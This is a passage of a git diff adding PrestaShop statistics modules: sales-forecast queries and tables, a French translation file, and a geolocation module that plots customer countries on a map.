        '.$this->l('Zone').''.$this->l('Count').''.$this->l('Total').''.$this->l('% Count').''.$this->l('% Sales').'
        '.(isset($zone['name']) ? $zone['name'] : $this->l('Undefined')).''.(int)($zone['nb']).''.Tools::displayPrice($zone['total'], $currency).''.($ca['ventil']['nb'] ? number_format((100 * $zone['nb'] / $ca['ventil']['nb']), 1, '.', ' ') : '0').'%'.((int)$ca['ventil']['total'] ? number_format((100 * $zone['total'] / $ca['ventil']['total']), 1, '.', ' ') : '0').'%
        +
        +
        +

        '.$this->l('Currency distribution').'

        +
        + + '.$this->l('Zone:').' +
        + + '; + foreach ($ca['currencies'] as $currencyRow) + $this->_html .= ' + + + + + + + '; + $this->_html .= ' +
        '.$this->l('Currency').''.$this->l('Count').''.$this->l('Sales (converted)').''.$this->l('% Count').''.$this->l('% Sales').'
        '.$currencyRow['name'].''.(int)($currencyRow['nb']).''.Tools::displayPrice($currencyRow['total'], $currency).''.($ca['ventil']['nb'] ? number_format((100 * $currencyRow['nb'] / $ca['ventil']['nb']), 1, '.', ' ') : '0').'%'.((int)$ca['ventil']['total'] ? number_format((100 * $currencyRow['total'] / $ca['ventil']['total']), 1, '.', ' ') : '0').'%
        +
        +
        +

        '.$this->l('Attribute distribution').'

        + + '; + foreach ($ca['attributes'] as $attribut) + $this->_html .= ' + + + + + '; + $this->_html .= '
        '.$this->l('Group').''.$this->l('Attribute').''.$this->l('Count').'
        '.$attribut['gname'].''.$attribut['aname'].''.(int)($attribut['total']).'
        +
        +
        '; + + return $this->_html; + } + + private function getRealCA() + { + $employee = $this->context->employee; + $ca = array(); + + $where = $join = ''; + if ((int)$this->context->cookie->stats_id_zone) + { + $join = ' LEFT JOIN `'._DB_PREFIX_.'address` a ON o.id_address_invoice = a.id_address LEFT JOIN `'._DB_PREFIX_.'country` co ON co.id_country = a.id_country'; + $where = ' AND co.id_zone = '.(int)$this->context->cookie->stats_id_zone.' '; + } + + $sql = 'SELECT SUM(od.`product_price` * od.`product_quantity` / o.conversion_rate) as orderSum, COUNT(*) AS orderQty, cl.name, AVG(od.`product_price` / o.conversion_rate) as priveAvg + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'order_detail` od ON o.id_order = od.id_order + LEFT JOIN `'._DB_PREFIX_.'product` p ON p.id_product = od.product_id + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl ON (product_shop.id_category_default = cl.id_category AND cl.id_lang = '.(int)$this->context->language->id.Shop::addSqlRestrictionOnLang('cl').') + '.$join.' + WHERE o.valid = 1 + AND o.`invoice_date` BETWEEN '.ModuleGraph::getDateBetween().' + '.$where.' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + GROUP BY product_shop.id_category_default'; + $ca['cat'] = Db::getInstance()->executeS($sql); + uasort($ca['cat'], 'statsforecast_sort'); + + $langValues = ''; + $sql = 'SELECT l.id_lang, l.iso_code + FROM `'._DB_PREFIX_.'lang` l + '.Shop::addSqlAssociation('lang', 'l').' + WHERE l.active = 1'; + $languages = Db::getInstance()->executeS($sql); + foreach ($languages as $language) + $langValues .= 'SUM(IF(o.id_lang = '.(int)$language['id_lang'].', total_paid_tax_excl / o.conversion_rate, 0)) as '.pSQL($language['iso_code']).','; + $langValues = rtrim($langValues, ','); + + if ($langValues) + { + $sql = 'SELECT '.$langValues.' + FROM `'._DB_PREFIX_.'orders` o + WHERE o.valid = 1 + AND o.`invoice_date` BETWEEN '.ModuleGraph::getDateBetween().' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o'); + $ca['lang'] = Db::getInstance()->getRow($sql); + arsort($ca['lang']); + + $sql = 'SELECT '.$langValues.' + FROM `'._DB_PREFIX_.'orders` o + WHERE o.valid = 1 + AND ADDDATE(o.`invoice_date`, interval 30 day) BETWEEN \''.$employee->stats_date_from.' 00:00:00\' AND \''.min(date('Y-m-d H:i:s'), $employee->stats_date_to.' 23:59:59').'\' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o'); + $ca['langprev'] = Db::getInstance()->getRow($sql); + } + else + { + $ca['lang'] = array(); + $ca['langprev'] = array(); + } + + $sql = 'SELECT op.payment_method, SUM(amount / o.conversion_rate) as total, COUNT(*) as nb, AVG(amount / o.conversion_rate) as cart + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'order_payment` op ON o.reference = op.order_reference + '.$join.' + WHERE o.valid = 1 + AND o.`invoice_date` BETWEEN '.ModuleGraph::getDateBetween().' + '.$where.' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + GROUP BY op.payment_method + ORDER BY total DESC'; + $ca['payment'] = Db::getInstance()->executeS($sql); + + $sql = 'SELECT z.name, SUM(o.total_paid_tax_excl / o.conversion_rate) as total, COUNT(*) as nb + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'address` a ON o.id_address_invoice = a.id_address + LEFT JOIN `'._DB_PREFIX_.'country` c ON c.id_country = a.id_country + LEFT JOIN `'._DB_PREFIX_.'zone` z ON z.id_zone = c.id_zone + WHERE o.valid = 1 + AND o.`invoice_date` BETWEEN '.ModuleGraph::getDateBetween().' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + GROUP BY c.id_zone + ORDER BY total DESC'; + $ca['zones'] = Db::getInstance()->executeS($sql); + + $sql = 'SELECT cu.name, SUM(o.total_paid_tax_excl / o.conversion_rate) as total, COUNT(*) as nb + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'currency` cu ON o.id_currency = cu.id_currency + '.$join.' + WHERE o.valid = 1 + AND o.`invoice_date` BETWEEN '.ModuleGraph::getDateBetween().' + '.$where.' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + GROUP BY o.id_currency + ORDER BY total DESC'; + $ca['currencies'] = Db::getInstance()->executeS($sql); + + $sql = 'SELECT SUM(total_paid_tax_excl / o.conversion_rate) as total, COUNT(*) AS nb + FROM `'._DB_PREFIX_.'orders` o + WHERE o.valid = 1 + AND o.`invoice_date` BETWEEN '.ModuleGraph::getDateBetween().' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o'); + $ca['ventil'] = Db::getInstance()->getRow($sql); + + $sql = 'SELECT /*pac.id_attribute,*/ agl.name as gname, al.name as aname, COUNT(*) as total + FROM '._DB_PREFIX_.'orders o + LEFT JOIN '._DB_PREFIX_.'order_detail od ON o.id_order = od.id_order + INNER JOIN '._DB_PREFIX_.'product_attribute_combination pac ON od.product_attribute_id = pac.id_product_attribute + INNER JOIN '._DB_PREFIX_.'attribute a ON pac.id_attribute = a.id_attribute + INNER JOIN '._DB_PREFIX_.'attribute_group_lang agl ON (a.id_attribute_group = agl.id_attribute_group AND agl.id_lang = '.(int)$this->context->language->id.') + INNER JOIN '._DB_PREFIX_.'attribute_lang al ON (a.id_attribute = al.id_attribute AND al.id_lang = '.(int)$this->context->language->id.') + WHERE o.valid = 1 + AND o.`invoice_date` BETWEEN '.ModuleGraph::getDateBetween().' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + GROUP BY pac.id_attribute'; + $ca['attributes'] = Db::getInstance()->executeS($sql); + + return $ca; + } +} + +function statsforecast_sort($a, $b) +{ + if ($a['orderSum'] == $b['orderSum']) + return 0; + return ($a['orderSum'] > $b['orderSum']) ? -1 : 1; +} diff --git a/modules/statsforecast/translations/en.php b/modules/statsforecast/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/statsforecast/translations/fr.php b/modules/statsforecast/translations/fr.php new file mode 100755 index 0000000..f5e36a9 --- /dev/null +++ b/modules/statsforecast/translations/fr.php @@ -0,0 +1,57 @@ +statsforecast_240c994d8b61c7bd68ac1c5182bbdb2e'] = 'Tableau de bord statistiques'; +$_MODULE['<{statsforecast}prestashop>statsforecast_72c24d8aa8b0a7a47035b1e9d905b582'] = 'Tous les montants sont exprimés HT.'; +$_MODULE['<{statsforecast}prestashop>statsforecast_1ee1c44c2dc81681f961235604247b81'] = 'Mode :'; +$_MODULE['<{statsforecast}prestashop>statsforecast_03727ac48595a24daed975559c944a44'] = 'Jour'; +$_MODULE['<{statsforecast}prestashop>statsforecast_d2ce009594dcc60befa6a4e6cbeb71fc'] = 'Semaine'; +$_MODULE['<{statsforecast}prestashop>statsforecast_7cbb885aa1164b390a0bc050a64e1812'] = 'Mois'; +$_MODULE['<{statsforecast}prestashop>statsforecast_537c66b24ef5c83b7382cdc3f34885f2'] = 'Année'; +$_MODULE['<{statsforecast}prestashop>statsforecast_d7e637a6e9ff116de2fa89551240a94d'] = 'Visites'; +$_MODULE['<{statsforecast}prestashop>statsforecast_591411cc8927851db2002208676d8330'] = 'Insc.'; +$_MODULE['<{statsforecast}prestashop>statsforecast_12c500ed0b7879105fb46af0f246be87'] = 'Com.'; +$_MODULE['<{statsforecast}prestashop>statsforecast_9dea4016dbcc290b773ab2fae678aaa8'] = 'Prods.'; +$_MODULE['<{statsforecast}prestashop>statsforecast_e46b5c15331f34b9ff653fdf1ea0a7f0'] = '% Insc.'; +$_MODULE['<{statsforecast}prestashop>statsforecast_1d34a18a13e480b0aa6a799bb8a49c1b'] = '% Com.'; +$_MODULE['<{statsforecast}prestashop>statsforecast_11ff9f68afb6b8b5b8eda218d7c83a65'] = 'CA'; +$_MODULE['<{statsforecast}prestashop>statsforecast_96b0141273eabab320119c467cdcaf17'] = 'Total'; +$_MODULE['<{statsforecast}prestashop>statsforecast_b1897515d548a960afe49ecf66a29021'] = 'Moyenne'; +$_MODULE['<{statsforecast}prestashop>statsforecast_89c1265be62d3ba835a3d963db5956b0'] = 'Prévisions'; +$_MODULE['<{statsforecast}prestashop>statsforecast_3bb1503332637805beddb73a2dd1fe1b'] = 'Conversion'; +$_MODULE['<{statsforecast}prestashop>statsforecast_ae5d01b6efa819cc7a7c05a8c57fcc2c'] = 'Visiteurs'; +$_MODULE['<{statsforecast}prestashop>statsforecast_9b945efebb006547a94415eadaa12921'] = 'Comptes'; +$_MODULE['<{statsforecast}prestashop>statsforecast_fc26e55e0993a75e892175deb02aae15'] = 'Paniers'; +$_MODULE['<{statsforecast}prestashop>statsforecast_87cac5a0b60008003ccf46dc1d49e0c3'] = 'Paniers complets'; +$_MODULE['<{statsforecast}prestashop>statsforecast_5a9e532b24379dca2ab0e973172a78e1'] = 'Visiteurs inscrits'; +$_MODULE['<{statsforecast}prestashop>statsforecast_b4aec469184819e8369588e5d84b38fb'] = 'Monétisation des visiteurs'; +$_MODULE['<{statsforecast}prestashop>statsforecast_38f2d5f34a773b7c0668f03e6b8eb6dc'] = 'Chaque visiteur rapporte en moyenne'; +$_MODULE['<{statsforecast}prestashop>statsforecast_8ca76c564cccfd5a2ff4d2e08f46db5a'] = 'Chaque visiteur inscrit rapporte en moyenne'; +$_MODULE['<{statsforecast}prestashop>statsforecast_3fa6443ce3f838b6901b70cd812abf0d'] = 'Répartition par modes de paiement'; +$_MODULE['<{statsforecast}prestashop>statsforecast_dd6e1ab3a8a2c8cb93d0dde0f512f4c4'] = 'Les montants sont TTC de sorte à ce que vous puissiez avoir une estimation de la commission due au service de paiement utilisé.'; +$_MODULE['<{statsforecast}prestashop>statsforecast_e6e42855066e7a3ae050b2c698021b14'] = 'Zone :'; +$_MODULE['<{statsforecast}prestashop>statsforecast_5ed26836c96d7dcae8a40307e8e250c3'] = '-- Aucun filtre --'; +$_MODULE['<{statsforecast}prestashop>statsforecast_e55f75a29310d7b60f7ac1d390c8ae42'] = 'Module'; +$_MODULE['<{statsforecast}prestashop>statsforecast_e93f994f01c537c4e2f7d8528c3eb5e9'] = 'Nb'; +$_MODULE['<{statsforecast}prestashop>statsforecast_a85eba4c6c699122b2bb1387ea4813ad'] = 'Panier'; +$_MODULE['<{statsforecast}prestashop>statsforecast_f13877f6ad53ce91fcb20fb8b7969698'] = 'Répartition par catégories'; +$_MODULE['<{statsforecast}prestashop>statsforecast_3adbdb3ac060038aa0e6e6c138ef9873'] = 'Catégorie'; +$_MODULE['<{statsforecast}prestashop>statsforecast_52f39d7c5cad5c1550553385f55277ae'] = '% Nb'; +$_MODULE['<{statsforecast}prestashop>statsforecast_41b63feded4acc3719f9bcd016388324'] = '% CA'; +$_MODULE['<{statsforecast}prestashop>statsforecast_a170b5c062acab0443b1110292e38b26'] = 'Prix moyen'; +$_MODULE['<{statsforecast}prestashop>statsforecast_88183b946cc5f0e8c96b2e66e1c74a7e'] = 'Inconnu'; +$_MODULE['<{statsforecast}prestashop>statsforecast_f1dd68fb6a00d3e4d7f751deacde995d'] = 'Répartition par langues'; +$_MODULE['<{statsforecast}prestashop>statsforecast_4b6f7d34a58ba399f077685951d06738'] = 'Clients'; +$_MODULE['<{statsforecast}prestashop>statsforecast_0bcef9c45bd8a48eda1b26eb0c61c869'] = '%'; +$_MODULE['<{statsforecast}prestashop>statsforecast_699aed86dada6ca01ef74013a4464066'] = 'Evolution'; +$_MODULE['<{statsforecast}prestashop>statsforecast_07aa83862ec591697b4325b66d36a78b'] = 'Répartition par zones'; +$_MODULE['<{statsforecast}prestashop>statsforecast_b3ff996fe5c77610359114835baf9b38'] = 'Zone'; +$_MODULE['<{statsforecast}prestashop>statsforecast_ec0fc0100c4fc1ce4eea230c3dc10360'] = 'Indéfini'; +$_MODULE['<{statsforecast}prestashop>statsforecast_28e81c8343702f6c813cc31a7f90616a'] = 'Répartition par devises'; +$_MODULE['<{statsforecast}prestashop>statsforecast_386c339d37e737a436499d423a77df0c'] = 'Devise'; +$_MODULE['<{statsforecast}prestashop>statsforecast_61569923d8075889a162c4e603258e6e'] = 'CA (converti)'; +$_MODULE['<{statsforecast}prestashop>statsforecast_8471eed257db7258f935588a664ba4f3'] = 'Répartition des ventes par attributs'; +$_MODULE['<{statsforecast}prestashop>statsforecast_03937134cedab9078be39a77ee3a48a0'] = 'Groupe'; +$_MODULE['<{statsforecast}prestashop>statsforecast_f2bbdf9f72c085adc4d0404e370f0f4c'] = 'Attribut'; diff --git a/modules/statsforecast/translations/index.php b/modules/statsforecast/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsforecast/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsgeolocation/config.php b/modules/statsgeolocation/config.php new file mode 100755 index 0000000..c8f582f --- /dev/null +++ b/modules/statsgeolocation/config.php @@ -0,0 +1,109 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +include(dirname(__FILE__).'/../../config/config.inc.php'); + +function show_countries($id_lang, $nb_by_line = 7) +{ + if (!is_numeric($id_lang) || !is_numeric($nb_by_line)) + return ("error"); + + $output = ' + '; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT cl.`id_country`, `name`, `iso_code` FROM `'._DB_PREFIX_.'country_lang` cl + LEFT JOIN `'._DB_PREFIX_.'country` c ON c.`id_country` = cl.`id_country` + WHERE `id_lang` = \''.(int)($id_lang).'\' ORDER BY `name` ASC;'); + $separator = 0; + foreach ($result as $index => $row) + { + if ($separator) + $output .= ($separator % $nb_by_line) ? ' | ' : '
        '; + $output .= ''.$row['name'] . ' (' . $row['iso_code'] . ')'; + $separator++; + } + return ($output); +} + +function show_buttons($id_lang, $id_country) +{ + if (!is_numeric($id_lang) || !is_numeric($id_country)) + return ("error"); + $coord_x = -1; + $coord_y = -1; + $output = ' + '; + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT cl.`id_country`, `name`, `iso_code`, `x`, `y` FROM `'._DB_PREFIX_.'country_lang` cl + LEFT JOIN `'._DB_PREFIX_.'country` c ON c.`id_country` = cl.`id_country` + LEFT JOIN `'._DB_PREFIX_.'location_coords` lc ON c.`id_country` = lc.`id_country` + WHERE `id_lang` = \''.(int)($id_lang).'\' AND cl.`id_country`= \''.(int)($id_country).'\';'); + if (isset($result[0]['id_country'])) + { + $output .= $result[0]['name'].' ('.$result[0]['iso_code'].')'; + if (isset($result[0]['x']) && isset($result[0]['y'])) + { + $coord_x = $result[0]['x']; + $coord_y = $result[0]['y']; + } + } + $output .= ' + +
        +
        '; + return ($output); +} + +function insert_coords($id_lang, $id_country, $x, $y) +{ + if (!is_numeric($id_lang) || !is_numeric($id_country) || !is_numeric($x) || !is_numeric($y)) + return ("error"); + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'location_coords` WHERE `id_country` = \''.$id_country.'\';'); + if (!Db::getInstance()->execute('INSERT INTO `'._DB_PREFIX_.'location_coords` (`x`, `y`, `id_country`) VALUES (\''.(int)($x).'\', \''.(int)($y).'\', \''.(int)($id_country).'\');')) + echo("error while inserting data
        "); + return (show_countries($id_lang)); +} + + +$option = Tools::getValue('opt', 0); +$id_lang = Tools::getValue('id_lang'); + +if ($option == 1) +{ + echo show_countries($id_lang); +} +else if ($option == 2) +{ + $id_country = Tools::getValue('id_country'); + echo show_buttons($id_lang, $id_country); +} +else if ($option == 3) +{ + $id_country = Tools::getValue('id_country'); + $x = Tools::getValue('x'); + $y = Tools::getValue('y'); + echo insert_coords($id_lang, $id_country, $x, $y); +} + + diff --git a/modules/statsgeolocation/drawer.php b/modules/statsgeolocation/drawer.php new file mode 100755 index 0000000..7d5646a --- /dev/null +++ b/modules/statsgeolocation/drawer.php @@ -0,0 +1,89 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +include(dirname(__FILE__).'/../../config/config.inc.php'); +$img_path="./img/map.png"; + +function loadBaseImage($img_path) +{ + $img_size = getimagesize($img_path); + $img_png = imagecreatefrompng($img_path); if (!$img_png) exit(1); + + $img_tc = imagecreatetruecolor($img_size[0], $img_size[1]); + imagealphablending($img_tc, false); + imagesavealpha($img_tc, true); + imagecopy($img_tc, $img_png, 0, 0, 0, 0, $img_size[0], $img_size[1]); + imagedestroy($img_png); + + if (function_exists('imageantialias')) + imageantialias($img_tc, true); + return ($img_tc); +} + +function drawImage($image) +{ + header("Content-type: image/png"); + imagepng($image); + imagedestroy($image); +} + +function drawCircle($image, $x, $y, $size) +{ + $color = imagecolorallocate($image, 255, 122, 56); + imagefilledellipse($image, $x, $y, $size, $size, $color); +} + +function drawCircles($image) +{ + $max = 12; + $min = 2; + $gap = ($max - $min); + $total = getTotalElements(); + $result = getCoords(); + + foreach ($result as $row) + drawCircle($image, $row['x'], $row['y'], $min + ($gap * ($row['total'] / $total))); +} + +function getTotalElements() +{ + $result = Db::getInstance()->executeS('SELECT COUNT(`id_address`) as total FROM `'._DB_PREFIX_.'address` WHERE deleted = 0 AND id_customer IS NOT NULL AND id_customer != 0'); + return (isset($result[0]) ? $result[0]['total'] : 0); +} + +function getCoords() +{ + return (Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT `x`, `y`, COUNT(`id_address`) AS total + FROM `'._DB_PREFIX_.'address` a + LEFT JOIN `'._DB_PREFIX_.'location_coords` lc ON lc.`id_country`=a.`id_country` + WHERE deleted = 0 AND id_customer IS NOT NULL AND id_customer != 0 + GROUP BY a.`id_country` + ORDER BY `total` DESC')); +} + +$image = loadBaseImage($img_path); +drawCircles($image); +drawImage($image); + diff --git a/modules/statsgeolocation/img/cross.png b/modules/statsgeolocation/img/cross.png new file mode 100755 index 0000000..c53f681 Binary files /dev/null and b/modules/statsgeolocation/img/cross.png differ diff --git a/modules/statsgeolocation/img/index.php b/modules/statsgeolocation/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsgeolocation/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsgeolocation/img/map.png b/modules/statsgeolocation/img/map.png new file mode 100755 index 0000000..74504a2 Binary files /dev/null and b/modules/statsgeolocation/img/map.png differ diff --git a/modules/statsgeolocation/index.php b/modules/statsgeolocation/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsgeolocation/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsgeolocation/logo.gif b/modules/statsgeolocation/logo.gif new file mode 100755 index 0000000..5ae4d1d Binary files /dev/null and b/modules/statsgeolocation/logo.gif differ diff --git a/modules/statsgeolocation/logo.png b/modules/statsgeolocation/logo.png new file mode 100755 index 0000000..a4b55f7 Binary files /dev/null and b/modules/statsgeolocation/logo.png differ diff --git a/modules/statsgeolocation/statsgeolocation.js b/modules/statsgeolocation/statsgeolocation.js new file mode 100755 index 0000000..0e233e5 --- /dev/null +++ b/modules/statsgeolocation/statsgeolocation.js @@ -0,0 +1,236 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +function wait() +{ + var wait = document.getElementById('wait').value; + if (typeof(wait) == 'number') //should never appear... + wait="wait..."; + document.getElementById("belowmap").innerHTML=wait; +} + +/** + * Launch the url page in background and write its content in the selected div + */ +function doAjax(dataform) +{ + $.ajax({ + url: '../modules/statsgeolocation/config.php' + '?rand=' + new Date().getTime(), + type: 'POST', + headers: { "cache-control": "no-cache" }, + data: dataform, + dataType: 'html', + error: function() + { + $("#belowmap").html("Cannot load countries' list"); + }, + success: function(data) + { + $("#belowmap").html(data); + } + }); +} + +/** + * Show the cross in the map + */ +function displayMarker(x, y) +{ + var m = $("#marker").get(0); + var size = $('#marker_size').val(); + + m.style.display=''; + m.style.width=size+'px'; + m.style.height=size+'px'; + m.style.left=(x - (size/2))+'px'; + m.style.top=(y - (size/2))+'px'; + $("#form_x").val(x); + $("#form_y").val(y); +} + +/** + * For jQuery to register events on the different buttons + */ +_registerClickButtons=function() +{ + var x=$('#hiddenx').val(); + var y=$('#hiddeny').val(); + if (x != -1 && y != -1) + displayMarker(x, y); + $('#selectinfo').html($('#lang_info').val()); + $('#cancel_id').val($('#lang_cancel').val()); + $('#validate_id').val($('#lang_validate').val()); + $("#cancel_id").click(function() + { + var dataform="opt=1&id_lang="+$('#id_lang').val(); + wait(); + $('#opt').val(1); + document.getElementById("marker").style.display='none'; + doAjax(dataform); + }); + $("#validate_id").click(function() + { + if (document.getElementById("marker").style.display == 'none') + alert(document.getElementById("lang_error").value); + else + { + var dataform="opt=3&id_lang="+$('#id_lang').val()+"&id_country="+document.getElementById("country_selected").value; + dataform +="&x="+document.getElementById("form_x").value+"&y="+document.getElementById("form_y").value; + wait(); + $('#opt').val(1); + document.getElementById("marker").style.display='none'; + doAjax(dataform); + } + }); +} + +/** + * For jQuery to register events while clicking on a country + */ +_registerClickOnCountry=function() +{ + var dataform="opt=2&id_lang="+$('#id_lang').val(); + $('#country_selected').val(0); + + $(".country").click(function() + { + wait(); + $('#country_selected').val($(this).attr("id")); + dataform += "&id_country="+$(this).attr("id"); + doAjax(dataform); + }); +} + +/** + * The first thing jQuery should do once the fist page is loaded +*/ +_firstOfAll=function() +{ + var dataform="opt=1&id_lang=" + $('#id_lang').val(); + doAjax(dataform); +}; + +/** + * This is what happens when someone is doing a mouse click on the map + */ +function clickOnImage(event) +{ + if ($("#country_selected").val() != '0') + { + var e = event || window.event; + var pos = getRelativeCoordinates(event, $("#reference").get(0)); + var m = $("#marker").get(0); + displayMarker(pos.x, pos.y); + } +} + +/** + * Retrieve the absolute coordinates of an element. + * + * @param element + * A DOM element. + * @return + * A hash containing keys 'x' and 'y'. + */ +function getAbsolutePosition(element) +{ + var r = { x: element.offsetLeft, y: element.offsetTop }; + if (element.offsetParent) + { + var tmp = getAbsolutePosition(element.offsetParent); + r.x += tmp.x; + r.y += tmp.y; + } + return r; +}; + +/** + * Retrieve the coordinates of the given event relative to the center + * of the widget. + * + * @param event + * A mouse-related DOM event. + * @param reference + * A DOM element whose position we want to transform the mouse coordinates to. + * @return + * A hash containing keys 'x' and 'y'. + */ +function getRelativeCoordinates(event, reference) +{ + var x, y; + event = event || window.event; + var el = event.target || event.srcElement; + + if (!window.opera && typeof event.offsetX != 'undefined') + { + // Use offset coordinates and find common offsetParent + var pos = { x: event.offsetX, y: event.offsetY }; + + // Send the coordinates upwards through the offsetParent chain. + var e = el; + while (e) + { + e.mouseX = pos.x; + e.mouseY = pos.y; + pos.x += e.offsetLeft; + pos.y += e.offsetTop; + e = e.offsetParent; + } + + // Look for the coordinates starting from the reference element. + var e = reference; + var offset = { x: 0, y: 0 } + while (e) + { + if (typeof e.mouseX != 'undefined') + { + x = e.mouseX - offset.x; + y = e.mouseY - offset.y; + break; + } + offset.x += e.offsetLeft; + offset.y += e.offsetTop; + e = e.offsetParent; + } + + // Reset stored coordinates + e = el; + while (e) + { + e.mouseX = undefined; + e.mouseY = undefined; + e = e.offsetParent; + } + } + else + { + // Use absolute coordinates + var pos = getAbsolutePosition(reference); + x = event.pageX - pos.x; + y = event.pageY - pos.y; + } + // Subtract distance to middle + return { x: x, y: y }; +} diff --git a/modules/statsgeolocation/statsgeolocation.php b/modules/statsgeolocation/statsgeolocation.php new file mode 100755 index 0000000..000bef7 --- /dev/null +++ b/modules/statsgeolocation/statsgeolocation.php @@ -0,0 +1,190 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class StatsGeoLocation extends Module +{ + private $_map_path = 'img/map.png'; + private $_cross_path = 'img/cross.png'; + + function __construct() + { + $this->name = 'statsgeolocation'; + $this->tab = 'analytics_stats'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Geolocation'); + $this->description = $this->l('Display your customers\' origin'); + } + + function install() + { + $countries = array('AT' => array('x' => 294, 'y' => 68), + 'AU' => array('x' => 534, 'y' => 228), + 'BE' => array('x' => 276, 'y' => 62), + 'BO' => array('x' => 135, 'y' => 210), + 'CA' => array('x' => 84, 'y' => 45), + 'CH' => array('x' => 281, 'y' => 69), + 'CI' => array('x' => 253, 'y' => 156), + 'CN' => array('x' => 470, 'y' => 99), + 'CZ' => array('x' => 293, 'y' => 63), + 'DE' => array('x' => 285, 'y' => 61), + 'DK' => array('x' => 284, 'y' => 51), + 'ES' => array('x' => 260, 'y' => 85), + 'FI' => array('x' => 310, 'y' => 35), + 'FR' => array('x' => 271, 'y' => 69), + 'GB' => array('x' => 265, 'y' => 55), + 'GR' => array('x' => 308, 'y' => 87), + 'HK' => array('x' => 491, 'y' => 123), + 'IE' => array('x' => 253, 'y' => 58), + 'IL' => array('x' => 334, 'y' => 106), + 'IT' => array('x' => 292, 'y' => 80), + 'JP' => array('x' => 531, 'y' => 92), + 'KR' => array('x' => 509, 'y' => 93), + 'LU' => array('x' => 277, 'y' => 63), + 'NG' => array('x' => 282, 'y' => 153), + 'NL' => array('x' => 278, 'y' => 58), + 'NO' => array('x' => 283, 'y' => 41), + 'NZ' => array('x' => 590, 'y' => 264), + 'PL' => array('x' => 300, 'y' => 59), + 'PT' => array('x' => 251, 'y' => 86), + 'TG' => array('x' => 267, 'y' => 154), + 'SE' => array('x' => 294, 'y' => 40), + 'SG' => array('x' => 475, 'y' => 169), + 'US' => array('x' => 71, 'y' => 87), + 'ZA' => array('x' => 311, 'y' => 239)); + + if ( !parent::install() OR !$this->registerHook('AdminStatsModules')) + return false; + if (!Db::getInstance()->execute(' + CREATE TABLE `'._DB_PREFIX_.'location_coords` ( + `id_location_coords` INTEGER UNSIGNED NOT NULL AUTO_INCREMENT, + `x` int(4) NOT NULL, + 